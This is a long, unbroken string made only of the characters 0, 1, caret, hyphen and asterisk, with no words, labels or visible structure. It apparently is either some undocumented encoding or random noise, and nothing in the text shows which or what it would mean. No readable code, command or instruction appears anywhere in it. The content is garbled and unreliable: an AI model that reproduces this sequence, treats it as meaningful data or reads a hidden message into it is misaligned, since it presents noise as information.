010-^^10^10-0010--*101**0110^1^1*10-010^1*010110110^10^1*-0^-10-01^1^1**11010101011*10^10-1010--*11011*00110^1^1*10-010-00^10110110-01^1*-0^^10-01^101^1*01101011010101010^101*010--*-11*00110^10^^-1*010101^-1*010-0--*011011010^-*0-^^^^1010110^-^110101010^1^10-1011*1*^1*001^^10101^-101*10--01**0^1*0-*0010110^^^^1010^-1*01101011011*001^1011011*01101^11011**00^11**-01^1^-0--0011*01010-00--0101*10-0011*110^11*00^-1^11*0^---*0^1010---001*11*-10-01**-11011*01*11*011010-10101*01*101^1010-0-**0-1^-10110110101011**-^10^1*-10-0011*0-1101^101^11*011*11010101*0^1*1*-1010-0^10-10^-01010-101011*101101101010^10101010^--1101011*10110-011*00-*01**101010^-110^1^-110-^1*001*01011010-11011011010101*0101010^1^-101011*10-011011*001101*1**10-0^1^-1010-011*-101*0101*-10110-01*0-1**0010^101010-*110^^-^-00-01^^-0101101*^110^110--01011*101^1^1*-0^11**-10-*110^101*-*110^10-1010-00-01101^-0101^11*0110^110--01011*101*01101*-0-0101*0-1**0010^101*001010110^^-10-^-0010110-101011*-0-0^110-10-011*101*01^1011010^1*10101101*11010101011010110-0110110-^^1*10-10--^1^-1010-001010--0-010110-00110-00--0-*0-0011**10-*11*1010110110--0011*10-^110-001^1101*-00101011*--0^-0010-110^-^^-0^-101*-00^11*001**00-*0-01010--00^1^-110^-110^11*--^10-*010110-01101*00101*-1011010101*-0101^101*-10-0010110^^-1101010110-10-101*001101*-101*-1*101*010-1*01*-01101*1**00-*010^10101101*10^1010110110110^101010101011*110101^^1*10^-101*0011*^101*01*00110-1101*0101010-110110^1**0--001101010101010110-*0-0-101*01*10-10101101^10-1010-1^-00110-^--101*10--1*^10--00^^-00110101011**01010-0^1^1*01010101101*10--01*0110-0011*10---01*110--*10110--00^1*0^11010101^10110^110-010--0110-010-0110110-*0010-1*--10^^^-0011011*010-010101*010-1101101*00-1**^--10110101010-0110101101101010-0^10-1*-1101*0^^11011*11*0101^-**10-*-1*00-10-00^--10--010-0110-0-1*00-10110101*0011*-101*00-110-010-010^10-001010^101*00--*0010-1^11**010-1101*011010-*^10^^110-0-010^110-0010-^110-*-110110-^11011*^-010-001*1101**1101*001010--^-^-0-1*01101^10--011010-00^1^1*-110110-101010-00^-0-10101*110^1^1101*001**0-00-10^^-*011*---10110-^1^1^1010-010110-101*01*^-00101*1*110101010-01*001*010-^-1010--*0101010--*010^1*011*01010-010110-10110^1*-010-0110-10--00^1*0^-110-0^-011*101011010--1101011010--*0011010-1011*011*010^10110-1101011010110^11*1010-00110-01101**^110-101011*1^11*1*1**1101*01^-0^11*11*01011011*-110101**0^11*^-*110-0-001*0^110--011*1^-1*001**101101101^-0--1011*01010101*-110101^-0^11*-010^110-0-1010^^110^--*1^-**1**10-^1^-0-01*1*0^1^1*1*0^1^-01*0^11*010^1*00-1010-001^-00101010-0011*11*001*11*101^1*010-*1*1^10110^^10^11*^-001*-1*001*00-1^-001^-00101010-00--1*011*1^11*0011*-11**11*00101**10^10-0011*0^1010-01101**-1010^1*110-0011***-0011**01011*11**0-1**11*1*101**1*11*1*0-001^11*11011*110-010101*1101101101*1*0--110101*10-001**001010-*11*11*11**^1*1010^1*011*110^1**1^10^1*0011*1**101011*10^-0^^-1**1^--001^^110--0^10^101^1011011*101*01010101*-*10101**11*10101011*11**0110110-11*10-00101*10^101^11010-00^^10-10110-00-00-010-^-0110^---0-*110-011**011*--*1010^101*10^10101011010-0010^110-101101010-*-0101011010110110^-00-10-*11010-1**01101*--1101010---1101*^--1101^110-*-0010^10^^^^10101*101*011010-110101011**-110110--10^101^-101*010110-*00101101010-1*001^^-**11*01101**11*0010^10-010^^101^101*01*01^101*011*1^1011*11*-00110101^110110-00^1*10110--*01^10-01*-00-110-1**00-0-*1*110-0011011**110-*10-00110-010110110-0-11*10110-01*001^10-00^-00-11*01**00-0101*1*1101^-001**11010^110-00-001010110110-10^1*101101101101*1^1011011*-00-11*01**00-1011*11*-10^^11*-^^1011*-10^1101^10-^110101*0-101101011*0-1^11011*0-0^11011*-11*0-011*-01010--0011010-0010^-0110101^--*1101*1*110-001*-011010110^^1011*1011010110-0-011010110-*-1010110-*0-0010^1*0-0-0010^1010^110101101*1*1^-00-1^10-11011011*0-10^101^1^101101101*1*0011010^1^10^1010-10-00101**1*1*010-1*001*01*011*01*0^^1*110-01*1*-*101^1^110110101^101010-*1^1*0^-0-011**01101*110110101^101**11*0010-*-0-0^11*-*10-00^110110101*001010^^10^11010^^110^1010^^10-010-**0011*1*001*0101*-01*0^11*-1*00^-00101^10^^101101*10-0110101*001101011011*01^^-**00-001*001*0011*-01*1*01*0-^-1*^-^-1^^-1*010^1**0010-001*11*01*10101101*-*01101011*11**1**01010^1101*0^10-1*0^10^^^10^-1*1^101*^^1^10^1010^-0010^10110^10110^-^1*0-0-*10^101^1*0-*10101*00-00^10-110-11*10110-0^^1^--01^101*0110^10110101**1*0-011011010^101101*00-*1010-*-00^^11010-11*1010^-00^1^-1^1^1010^110^101101*00^1*0-0011*00^101101^10-*10101*10-00^10-110-11*10--1^^110-001101^101*01101*0-^^-1*-^^-1*-1011010-00-*0^1*10101*101010--1^1^11*1^1*1^1010-1*10-101011**0^101*1***00-0101*^1*00-*00110^10101**10---00^101*1^^-011010-1*-1*-1011***-101^1010^-1011*001^-*-*10^110--10-101010-1^110^1101011011*-*0-^-11*10-001011*1*01^110-110110-^-011*-1**0010^-0-1^10^-1*1^10^11010101101**1011*^1*101101010-010^1*-110-110--0^-1101010^^-1101^^10-*-110110^^-011*001^10-00101*1011011010-11*0-^-*^10-1*01011*10-1^101^^--^-1*-^^^^-10-*1^1011010-*101101101^-*0-1*001*00-110-^1*-11011*01*--101*10-10-1*101011*-*0101*^11*0010-010--101*0-011*01*1010101101*0---^1**1^-*0^10-10-001^1011*11*1^1*^-010^-010--1**-011*01*10101011*^----001*01^-0101^10-10-*^1011*11*1^1*^11*0010-010-101101*0-0110-*0101010110-10----010^-0-1*0010-10--*10-10-^101101^110110^-1010--010-0101^11010^^1^-1101101101^-110^1101^-*^-^11*-001*1***01101011*0-1010-^^1010-00-1^10--011*0010--0-1*0-0-*01*110^-^1^1^101*1***01101011*0-1010-^^1010-00-1^10--011***0-0-1*0-0-*01*110^-^11*-001*1***01101011*00^110-^^1010-00-1^10--011*0010--0-1*0-0-*01*011010-^11*-001*1***01101011*0-1010-^^1010-00-1^10--011*0010--0-1*0-0-*01*110^-^11*-001*1***01101011*0-1010-^^1010-0-101*010^-1101*1*0--01*11*0-10^1010-0110-1010-101*^1011*101^-00-01101^1*0-*0110101*10--1^1010--1^-^101**-0^1*1010110-10-1^1*^10-0^1^-0010101101^1*0101*0110101*110110-^10101^101^-^1011*10-0^1101^-0-10^10-*^101101^1^-0010101101^1*01*^110101*^110-^1010101*1^-^101101010-0^^1*0110-1010110101*^10-0010-010110110^-1010110-110-1010110^10-1**-*0010^110-00-011*0-^-01^--011010-10-1^-1^1010-0-11011*-0-10^1010-1*^1**--1010^1101101*0-*0-101^-00-11*1010-10-^10-^10101^^11011*-1^10^1010-01010-**-1*010^11011010^-*0--010-00-11*1010-10-10--^101011*-1011*-0^10^1010-101*01**1^1*10^11011010^-*0-01*0-00--*10-110-^10-^1010-*-011*-11*1*1010-00110-**-*0010^11011*-011*0--^-00-1^-011*^-*0101*^-010-1*^-*110101*01^^101010110-001*^1010-101010-10-^^1**00-**0^^11011010-1*-*1*0010--^101101*011*00101010110-01*0^10101101^10-10-1101011**001^-*^^1^1*-1*-110110^10--0-10101*01^-0010101101^10^^101011*0010-010--0110-010-1101010-010-*-01*-0101^1^1101101*11*1010^101*01101*10^110-1101010^10-01**^110101*1^-*1**0101*001*00-01^101*110110^1*101010^11010^101*1010-110-0101011*0^1**10^1101*1^-*1**010101*1*00-0110^1^110110-001*1010^1^1*101*10-00110-010101*00^1**101010101*1^-00-**101010-*00-0^1011*110110-1*101010^-10^101*10-00110-01010^10-01**1^10101*1^101*1**010101^1*00-011*01^11011011*1*1010^^10^101*101*10-^1*10^1010^1*1*11*^1*^-01*00-0^101101^10^1*-00^1^1*0-011011***-*10^110110-10^11**1^11*1010^--*1*1*00-*-1101^10^^110^^1^-00-011011011**-*^-*10-10^10^^1^1101^10^--001*01*00-01^1^1^1010-0110^^110-010-011011*11*0-*101011*10-10^1**01^110101**--0^1101*00-01*01101^1010-0110^^1^10^-011011*101010-*1*11*10-101*0010^1^11*0010^--0101^1*00-010^1101^10101*0-00^1^-^110110110101*00-^101*0^-^1*010110-^1*1101*01101*0110^11011*--*^1*-*01*-001*1**01^11*101*01^11010101*01^-1010-10101011*011*0011*0010-001011*01011011*0101*1101010110^110-0110^10110^10110^10101*10110^1**01*01*00-101101*1*-0010110-*101*1010101*110110101010^--01010101*0-10^11011010-^10-01*101*10-01*-*10-01010-*010110110-11**-1^^-0010-*^101*10-0-010^^-*1*-*110-01*0^-*0--0010-010^1010110-1101**--10-1*0-11010-1*0--^-*1**0-0-^1^-*11010-*0-01*001*0101^1^1**0110101*11**1010^10^11*01*011**0-*011**0-*011*-0-00110--*01^-011*10^101*-101010110---0010110^-1010^-010-*1^1*^-0-*---*-00110-^10-^-01101^^101*110-010^1010--*^10101101*00^1010-001*10^101011*00-0^10101*001^-*11*0110101101011*010^11*1101*11*10-101011*-0011*11*-1*01*00^10^-00-10^1*11*01^-*1*0011010110-01*010110^1^1*1011010-101*101101011*^-001*0011*-001*0-*-001*0-*0011*101*10-1101010-011*01^-0010101*^1^1^-0-0^1101*1*1010-110-001101011010-^110-0010-^1101101010--010-1*0101^101010-*011*-1010-010^1^1101010110101101010101010110--010110-01^1011*01^-0---010101*01101^10^11**11*-00^11010^1*01^10110101*01^1010110110-110110-0110^11*01^^^--1010101*01101^1010^101*11*10^^^1*0-00-*1*0101*11*1*011*-0-00-1*----00-1011*-1^1*10^1011**1010^-01**00110-0-1011011*11*1*0-110-110--^-10110-0-00-11*010-00--*10-0011011*0101*10^11**01*11010^11*^10-1*^1010101101*1*110^1^10--0-0011*0-00-11010-01010^-001**01010-***10^11***1010-*-00110-^10110-1*1*10-0-00-001*00-^-0-*0-10101*010-10-*010--110110--10-01010--10-*110--0110110110^1*1*11*00-0110101*0-10-01101*0-^10-1*0-01010-11*^11010--*10-^-1101101^^110^^1*1010-0^-011*1*0-10-*011010-^101011*0-0101*011*^11010^-*10-10--0101^11*11*001^1101*01^1^1^-011011*0-0-1010^-1010101010^-1010^110^--0^110-*11010-01011010101010-0101^1010^-^^^11*0^-0-101011*001010-101*01^-*01**001*01*0-*1*10^1011010-10-10101^1101010-^^101101*1*110-011*1*110-10-01*110-0-101*001*-0-00-^-10-*0110101^--011*^-001^10110-10110-^-00^^-01101^1*1101011011**01010^10101*010^--1*010^110-1101010^1011*00-010-0^10110-*001^-10110^1*-1010101101010-1^1*01*11*00^11*0101*11*0101*--001^-0--*0011010--*0-01010^110110-00^101^10-*-0-1*010--11011*11*^1^110-1*00-10-0011010-00--0^-101*1^10^-10-0011*-*01*11*-001*1011*-101^1****1*1*11*-0^101101*1*^1101011*-*001**10101*1101*00110-11*01*-01*00-00110-01***^1101*11*0-010101101*0-*1101011*1**01**010-00^10^11*0-00101*^^1^10^-1^-*^10-011010-*-10^1**001*^1011*1*101*101*^10110-01^1^-1***01010-10101**0^110101*0-11011010^110-10-0^-10-0-1010-0^10-011011*1010^-0101^1^101^1*00-10110101*1101^^10^1**-*1^^-110^1*-10-1010-010110-0110-1*10^-0-10-00101^1^--011010-110-00^10101^1*-*101*--0^1^1*0-1010-*110-0110101*110^-0-0110^101^-0^-01101010101101^^101^11*0-*101*0-110^101*010-10101101^10-01101*01010^-011*01^11*01101011*11*0-00-0011*0-110110-01^-^--0^10--1*0^101*1101**01101010101011*10^1*-^11*10101101*-00110-1*0-1010-1011*0^--101*1010-1*01*^101101***11*0-1*1^^10-1*011*110-1*010^11*0110-11*10-11010-010110-00-*1*10101010101101011*10-00^1^1*--01*00^1**11*1010^-011*01101**110-1101^10-10-00^^1^10101011011*011*101010110-001*1*11**0^10101^1*1010^-001*0110-01*10-110-0-0110-001*101*10101011011*01**11*01011**110110-1**1^--^-*10--0^10-00-1^10101^^110-0101*^10--*01*0^^101*01**001*^10101*11*10101101*11*1*0101*11011*0011*110^-001*10101*0011*00^-1*1*01*1*^^11*010101011010^10110^101^-0110101^^-0110^110^-0-*11**110-0^-1010^11010110-1010-101*010-001*-101101^-01101010101010-110101^10^-1011*01*001*00-1^11**0-1101101101*-1101^1010-01010101101010-00101*0^-110101101*0-1101010-010-11010-110^---10101*00--10-0-^-0110110-^1^-^-^110-1^-10-001**1^-^^1^1*-*110^1*-*0-001*-1*-1**1010-10^-01^-1*00^11*101*00^101***0^1**00^-1*001*010110101010^1011*1*11*0011*^-10^11*1*-0101011**0-00-00^11*--10^-11010-101*^1*-101**1*00-00101^10^1*0110101101101011011*^11010110110-0-010110--01^1010^--0-0-001011011**10110-01^^1*1*0011*110-10-010-101010-001*0101010-0010110^1*11*101010-11010-0-0-*11**10---101011***110101^11*1011010110101^^-01010^^^1*010^101010-001*^-0^10^1^-0-10-11010-00110^^-*0^10-0010-0010-10-00-010-^10^1*0-00-010-00110--10^101*10-10-101*00-1^1101*11011*0^-00-0-0010-1*^-0101010-0^1*0^^11010-001*0-110^1011010-110-10^--1^11010-1011*0^11**0-001011010-00-01010110110^1*01*0011*11*-01^^11*1101^1^11*-10101101101010101**-01^1**0110-001**-*1010101010-*1010-*-*^-1*011*010-1*0-11011*10^1^10^10101*01010101^1101101*-^-00-101010110-010110101**-1^11010-1011*010^10^-1101101^^1^10-*01*010101*001101101*-11010-10^-*^-0^^^110-0^1^101^1*110-*0011010110-*011*0010110^1*01101*101011*0011*001011*-1*0010110110-001*-1010101011010^^^1*^101^^1010^-^^1010110--0-01^-010-01*10110^1*^-1*00-1^-1*00^1101**0010101^-1^^^1**1010--*10^-10-01**010-0^110110^1*10110-*0-1101^1^101010^--0101010^10-00101010^11011*-0110-01101^1101*-101*010^1^1^10-10^1010-*11*1*0011011010^10^11*0101*01*^-*1^^^-*11*00^-01101**-001101101^^^^10-01*1101*-11011*0^1*--*1*1*010^10^1*1^-10--01*1*01*^1*-00101*1^^^1011010101*110-10-1011*0-0010--*11011*010^101010^1^-1010-101*1*0101*01*-001*110^^^-1101101*110101*011011*0----1*1^11*10^10-*01^-10^1*1*1*010-001*-00-0110^^^-1*101*110-110101011*0^1*0-11*11*101010^1011010^^-1011*-*1*0101*11*-00-0^^^^-1101101*11010^-1011*0--0--*1*01*10^1010-001^-1011*-*1*0110-11*-00^1^^^^^10-01*1101*-11011*01^110--*-001*10^101**1^-1010-101010110101*00^10110101^10^1011010101^110^^1*00-11*1010101010--1010-00-00-1^1^110110^10110110^1*01011*001*0011010110101*001^-0-*0011*010-10101*0-10^-1^10--0-11*00-010-1^^-01*10-0010-*0010-00^1*0^-11*^11*1^^11010^--0-10^1011*110-101101101**1*--011011*10-10-01*00101^101010^--00-00^-11*0-0^-11010-1010110101^-10-*0^-1010-^-0101*1^10-0101*-1101^1**0011010-1^1^^-0-0-11*10^-0-1*-101^-1*1*011*10-0101*-0010110^110--0^^^11**10-011010^1010--00-*00^1^^101^1**1101*1011*1011010-0-*01^1011010^10-110^101^11**10101011010^101011010^-*00-0^^101^-01101101*101011*11010-0-*0-101*10-110-01*10-0-1101*---0-0-^11*0110--011**-1^110^110110-001010^110-11*00110^--11010-*1101*110-*1^^^-*1101*^10--*0-10-101101*010^10-*1011**-01010101010^11010^101^1011010110-1010--010-^--^10110--1*^10-10-001*0^10-1*-001*011*00-01*01^10101101*0--10110101*01^110110-^1*010^101^-001^-1*-1010-1**0^^--*^1^-001*^1^^101***00101**-10110-^-1*^101^-101*-1*1011*-1*0010-110--*-1*-001*-0110^10^^-*101**00110110-^-1010^101^101101^-1*-1010-1**^1^--00--00-00^11010^^10^101*^101*00-010110-^^1*^101^10-0^-1**-0-1**0-^--*-1^-00^10110^^101*101*00101*00-*110-^1*^^1011*^-00-1*0-110-1*00-00^--00-00^-00^^10^^10^1101*00101*0-*0110-^10-10^101^10-0^-1**-0-1**0-^--001*0^-00^10^^^10^^-*101*01010^110-^10-10^1011*0^1^-1*^1010-1***0^--00-1*0-00^11*^^10^-01*0101*0101*0110-1*101010^1011*^-00-1*-*0101101*01^1*1101*001*^1101**11*^1^1^11*-0^-1101*010110-010-11*001010^110101*1^1***10-0110-00-01*1**010101**1*010101010-1*01010110-110-1^1011**110^^10101^-10110101*10^10-00^110-00110-001101*01^1*-01*110-001*101010^1^-1^-011*0110^1010^1^10110-*00^1011011010110^10110--10-010^-10^1^1^-01^10-^-11*0-1*1101*1^101*-0101*001*00101^101*00110110-001*-10^110101*-0^1^11*011*010-^-1*00-1*00-001^10^10^101*001*110-00101*011*10-001*-00^11010^-101*1**010-*1***01*01**1****10110^1010101*-10-01^^10-0-1101010-0--^1101101^-0-101101^110-^110-010^1010101^1^1*00-010-01*001^1101101*0011*10--10-00-11011*110110-00--1^101*1^-00-**10--10^110^-0-10^---1*11010--1^10-110-001^1011*-0011*0--1011*^1^--^10-010110-*0-010-10-00-010-11011*0-1*^-01101**0-^1**10101101*10^-001101*11*--1^1*011010-1*1*101*--1*^10-00-1*10^101101*00^-001**01010101*101*1*^1*11*-00-001*011010-1*1*10110--11*10-011*00^^-11*00^1*1011*00^1*0011*-11*011010^10--0110110^-*0-1^-11*--010-**0110^-1010^1011*-011*01*--0-*00-11*0-10^101^-^110^-1*101010110-0110101010110-*^1010110110101^1**^101**0-10^101**01101*11*-011*01*0101^^110^1010-1011*10-00-00-1^^110101011*1**^1*1*00-10-101**011011**0-0110^10^101^101^^1010-1*10110-00-0-0-0^1101*101101**^1*1*00-1010^1**0110101101*-0110-^10101^1011*101010-^1*10-00-0110-10^1101*001101**1*0-*00-1010^1**01101*11*-011010-*101^1011*101010-1*-10-00-01*-0^1101**101**10^-*00-1**1**01^10-*-0110^1*0101^1011*101010-^^^-00-00110-0^110^1101101**1011*1*00-101*01**01^11011*-0110-1*0101^^^^1010-10-*0-00-0-0-0^110101*0101**10110-*00-10^101**011010110^1*10101*1^1*101*1010101*1010-**-110-*00-1011010110-010-00-10110^1*01*-*0-10-1101*0^101*1*00101010^1*00^1*10110^11010^-*^1010^10-1*1010^101101*-*0101^---0-1^-1^101101010-0010101*-110101*11010-010-101*0101*101101101*010-^1*11010-*0-*00--1011*0--0010101*0-0010101010-110101*-^11010-101101^1*10110^10^10-^1^11010-*0-----010110--^10-*0-0010101*0-10101*101*11010-1010-1*00101101101011010-^1010^10-*0-1010--110101*0110110^^-0110110^10^-10110^1*10-0^1*10-10110^^^-0^1101**-0011*001101*--*10101^-001*1^^--001^1^1*11*-1*0^1*0101^10-*0--*-*0101**-**11**^1*110-00-*01^^-101*0-*0-10^^11*-01^^11*^-0010-1^1011*1101*110110^^1^^^^-110^-*0-0^-101*00-*-101*101*0-011*101*0^-*00-*1011*001*0110110^^-0^^^^^^-*0011*0-101*^11*-101*101*0-011*0011010^-*-*001011*0011010110110^-0^^^^110110^-*0-1*-101*0-*0011**^1*011*00110-*11***01*10--^101^10-1101010-11010-010101**-010-10^10--1010-*0110^-001011011*-1101*--^11010--^101^10-1101010-11010-010101**-010-10^10--1010-*0110^-001011011*-1101*--^11010--010101^10-1011010-11010-01*1**-00-110^10-1*0-11*0--10^10110110^-101*--00-010--*0-110^-0010-110^-*00-10^11*11011010^--*00^-1*001*1010-*101*0^-01011*-*1^-001*0--0-01^--1*110110110110^1^110110-01*001101101101**-1^101*-*101011*-11*01010-0^1101*---0^^1010101^101010-0101^^1101*0011*-10^10-0-1^1*-11*10101*0-11*0101^10^1101*^^-0^^10-11*1010101010110^^110^11011*-10^-010-1^^1^-1*001010-1011*00^1*1011*0011010101*-010110-*01*^-1*010^^-0^^101^10-010-101011*00-10101*0-1010-1101101*^^11*101*1010-0^1*01010-0-10^1010-0-001*^^1*10-1101*1010-101^1101*0101011010101**1010^101^101^11*0^^-1*110110--*-0^1101*^^1011*-101*-0010101^110-0^101101010^-01010^10-1101^11*0110--1*110110--0101^1010110^101^1*-^101^-10-*101010-0^-0101101101^-0101^110110-010110-0110110^1*011011010110^^-0110110^1^^1101101*^^^1*0^1010110101*1*00-^10101010-^-^101*010-0^1**0110-10-1^1*^10-1^1^-00-11010^1*011010^10101*101*101^1010^-1*-^101101010-0^11010^110-101^11*00^10101*00^-0011010^^1*0-1*010101*1*-01^1010-0-*-^^101*-0^11010^110-10110-01*^10-0^1^-00-1*1^1*010101^10101*1*01101^10101*001*-^-001*-0^-*0-0-1010101**^10-1*1^-001101*0^1*011011*10101*110^101^101011*11*-^-101010-0^1010110-0-10110-*00^10-*00^-00101*00^1*01011*010101*1*--0101101011*011010110101^-1010110^11010110^-01*10-1*-10-0-1*-^^-1*110^^1011*1^-11010^-11010-0^10-00^-10110110-*01*-101*-*10-*0101*0010-01^1*0^--0010^-1101011010^-11010-10^-110^-001**11*01*11*001010110-10^-10-*11*101*-*1**1*0110-*-101101*1**00^1011*10-*01**1^101*11**10-0-101*0110-*11*-*-*1*10101*110-*-10-^1^-110101^11*110-01^11*00-1*10--1*1*1^110110101*1010-01*^101101^10-0^-1^10-10-00--00-11*-0101*10^-1101011010^-010^1010^-101^101^^10-101*001101101^-11*0-10-10-*^-1*0^1010110-110-1011010-0101*01*-1010-001101101101^^1101101**110-00-^1101011010101*110101010-1*110101*0-0110101*01*0-001^-0^110-1*^11010-1*00-110^10^-11**001**10110101*00101*001***0^101**1^110101**00101101*1^^11*0110-011011*^11*11010110-^10-001*-0010-001^-00101*01^110110-0010^1*-1101^11*10-00-01*001011*1101*0^11*101^11*-10-1010^-^10-0^10-1*0-10110--1*1*-10^10-00--*0010^--0010110^--1*11*110-10110^-^-001^1*--0^1011*-1010101101101101^10110101*01^^1*10--00-*1*-00-^1^10-*0^1^1011*1*01^1011***-10-1*001011*110^1101*^110101*-010-011**0-0-1^^101010-0110---110-1^-0-1*-0-10---00-10-1*1^11*001*-110^-10-01^1*01^-0^-10110^1011*1^^11*0-0-10-00-*010101^101*0010^10^1*00101*1^101*01010^1101*1010110-*01*0010^--01^-0-1011*101*0-0110-01*10^10101101010101^110^101*0-*010110110-*10101^101*1*001^10-1101^^-11011*10-00-0110-0-11011010101101011*^110^^1010110101*1**^101*10-00^101*10-1010^-^10-010-001*1^-11*^-*0101101^-101^10-01*001*1^101101*010^11011*11010^11*0-1010^1^--00^1101***101010^11**^101101*00-*0101*001*0110^110101^-011*01101^^1010-010101*^-1^^110101011*0101010101^1*0^101011*00-*010101*1*011010^1101^-010^10101^^11010^10101*^1101*^110^1101*101010-*1*0^10-11*0-*0-001101*01101**01^-010--01^^^^1010101*1*011*^1101^-*101010-11011*^10-010^-*0--001*011011*1101^-0101*1101^^110-1010101*--1*^110110-1*101010-0-*0^10-**-*01**01*0110-110101^-010-0^1^^-1*010101*1^101*^110^1101*101010--1*0^101101*00-*0110-001*0110110101101^-010^10101^^^^1010101*1*011*^1101^101*101010-0-*0^10-**-*0-*001*0110-110-^-0-0101101^^^1101010101*1^-001101^-01*01101^-1^101101^-101*-0^-1^^-*101*01101101101*110110-010^1^11*001011010--*00--11*10110^-010-1^110---1^11*0--1^101^-01*^11*01*110^101*10-1**0^11*-*0010-1*11**0^11011*0010110101***110^10-0010-1^1*^110-1*110^110^101^1*101^101^1*10-0101^1*-0101*00^11**0^1^1*110-^110-**0101010-0-010^^101^1010101*11011010^1*0^11*-^10--**0^101^^^1^-1*-10-0-01^-0-01*1*-0-0101*001*110-1*001*00--*01^^--^1^^-01*01^^-11*01*1*011010-*01**-110-1**1010110-1*01101*101**10-011**01101101^101*1^11*0011*-^1*1*01*-1*01*^1*10-1*010110-0-1*-01*101*0-0-011**11*101^101**011*001^^1^1*1*010110-*01*010-110-1*-*-0-^110110^101**1*0011**01101101^101*0^11*001^1*-1*1*001010-*01*0--10-1*10-0-0-1*0-0^101*0-0-011**001^-00101*1*11*0011*101^1*1*0-10-*01*1011*10-1**110-0-1*11010101*01***11*0^1^10-*0^-0^1*0^1010^10^1*1*0-11*110-10-1^1010101^10-^101*00-001*0^1010101^1101101101^10-0-*101*0^1*-10^1*-0--*11011*0-^1010-110--0010101*01^1*01010^101^110-0-1*01^1*^11*1^11*1011*1^10-1011*001101*-1010^1*010^1^101*01010-0101^1^10-00-00^110110-1^101*101*0101*^101*0^1*00101*01*1*01011*001*1*-11**1^-^^^^--11*0-0-*1^^101010^1*^-1010^1*-101*1101*-0011011*00-11010-11*110^-1^^110^--11*0-0-*1^--110^1*00^11010^^1^101*110^110^11011*00101*10-11*00-00-^^-010--1^1101*11*1^-101010^1*110-1010^^1*101*110^101*01011**01*10-11*1101^-^^1101^--1**10-*1^101101010^1*00-11010^1*010101*1101*-^1011**01*10-11*001^-1^^11*0--1^10-0110-*010^1010-*01010-10-*01*110-11010^-00^11*-1*10110-01^-^^1101010-11*1^101*^1**10--1^-0^^-1*010-0-0-11010-*-0011*1010^10110-0-0-^^110110110101*1^-0-101**10^-1^-01011011011*01011*10--0101101*1^11*110-010110-0--1^^11010--1*1^10-1^1**101010101^-0^10-11*010-10--1101010-^1*0^10-0011*0^^1*11*0^110-01101*0^-1^1*011*--011010^-10--101*11*01010-010-00110-110-0-010-11**11010-11010^1101101*0010--01**001*101^^^1*01*1*10-1*0011*^10-0^11*0-1^10-001010^1010-*1*001010-*01*011*0^-001*1***10-101011*-101^-1*-10^-1*001101^-1**-^-1*00-1101**1010-00-1*101^1*0110101*0010-01^^11*10^^-0^1*0-0-^101*0110101101**0110--**01101^11*1*01*0-^^-00-01^-01^1101**101*0110^-*^10^10101010^1^-****-01^11*11*^1*0^10^^^-0010110110-01^1***101*1011*-*1*-1101010101*-011***0010-1^11*10101^1*01**1^^-*1101^-011*11**0101*^110-1*1*0110-01010^1*011***01101101^11*00^^1*0^--00^-*1^^-011*11**0101**0^-*^10101101010101*-11*001**101**1**1**001*001011*00^^1010110-001*00-10101011**1011*001^-10101^101*0101^1*1*0^1^^1*011*^-***11*0^^-1*-001*0^110101011*01*11*001^-00-^10^1010-01*1*0-0^^1*00110-0-**-1*00^1*11*-^1**00-01011*-011**1^10^101^101*-0^1*1*10^110^1**-110-*00110-*0^^1101^-001*1*0-*-001^1**-*01**00-*-1*001*-1010-10-0-010101010^-00-01010--011*101^-110^11*0010-110--^-1011*10-0-*^1*1*11*1^110-0110110101010^-01*01010--001^101^--01011*0010-1*10-^-010-110-0-1101**1*11011010-0-0-1**10^-01**10--00-1101^-1101*1*00101^110--00-**110-0-0^1*001*-01^-0-01^1*1010^-1010101010--1*10101^-11010101*001011010--1^-0-10110-0-01101*001*-0-0-0-0-0-01*1^-110-*1^-00-*01^-10-1*^101101*010-*^1*10-0^10110--110101*00--01101*00-^-010^1011011*011*0011011*0^1^11011*01010^110----*001010-1^-101^1^^1101010-110^11010110---1*-0-*001*-0110-001*-0-10^^-011*110101101^101^1*010-^-0^1^-00--1^110101*011**0^1^101*-10-10101*001^10-110-01101101*1101^^^1*010-101*1^1^-0110-01^110^^1***1010-101*-10110-01*001101^11010-01101*^1101^1010-*010-^1011*1^-0010--001101*1101**001*110101*-10^10-*001101^11010-011*11*1101^^10110^10-^10-001^-*10-1^11010101011**0010^10-*-1*110101*00110110101010-01^101*1101^1011011*010-1*0-001^-0110-01^11010101011**00^1^101*-10^10-*001101*01010-0110-^-01^10-**10-1*10-01^-01^1101^110^10-**001*0-11*-1*101101*001101^-11*10101101*11*10^^10-*10^1*001^11*10-010-01*0-011*1011*01010-1****110101*0101***01*0101011*10^-0101*010^^1101*010^-110^101^10-00-^^-**^-01^11011*001011*101*01^^-01**001**^-*101010110101101010-0-0101^10-00-^^-**1*1101^10^1*110^^^1*11010-0^-0-0110^1*101010^10-11*11*-011010101^-***01011*0-001101010-1101*0110-*10^-10-*10-0-010-11*101010-0010-*1101^^101010110-***00^110^1^110101^10101*01^-*0^-1010101*-0-*0101*010101010^-11*11*0^110101011*1^1**0^--1^110101^10101*0110-**00^1011*11*0^^^-*0^1010^11**0-001*1*^11*01**^1^101**^-0101*10101101010^1*11010-1*0^10^-01^^11*110-00101*00-01*11*010-101*0110^1^-00-1^^1010-01011011*01*011010110^10^10^11011010^11*11*0-01*0010-10-0-10-1*0110-1010-*110-10-*00110-0^-0^10^11*00-010-1101^-01^-001011*001^^101101*1^1010-01*1^10^11010^^1^110--*-00^1^^-001^101^101101*1^10110-00-11*0--*010^10-110^-*10-1010101^^-*--1*1^10101^^-10101*1^10-^10^101101^-001*0-^101^^10-11010-1*10-1010-^^--010-1*-1*01^^-011*1*0---0011*-110-1011*--01^11*1*-0-11011*01**0110^10110101*0^^-10-01101^110-0-00-010-^1^-010101^1^-0--00--1*101101010101**1^^11*01*11*01011*1*1*01101*-01*1*^1**01**001*00101101^1010^--1*10^1010101*10-10^11*0010-*0101^^-*01101*1^1*1*1*011*01**010101101011011*011010--1*1*11010101*1010110^11*001^1*0101^1*11*01101*0^1*1*1*1101*1***01*101101^110-0--1*101101010-*-11*10-*011*0010-*-11*010^-0-0^1^-0-00110101*1^1101*-*0110-1011011*01*010-010--11*110--1^1^10101101*0101*0011*101101^101*01010110110-1^-1*10-00-00-1101*01010^1*01^10110-^10-001^10-00-^-1^11*^-*0-0101*01*010-0110^1*01010^110^^101*0010-^10-^^11010101^101010-1*110-11*1*110-*11*1^-1^1101*011011*11*^10-01*10-0-0^1*00101^^1*10-101*0110-*001*1011*0101*1*1011*10^---10^1010^1^^1*110-*0110101*-0010^110-00^11010^1*0^--1010-00101**0010^--11*^1010-101010^-011011010^10-010101*-110^101**-1*-*-10-00110^110-110^-*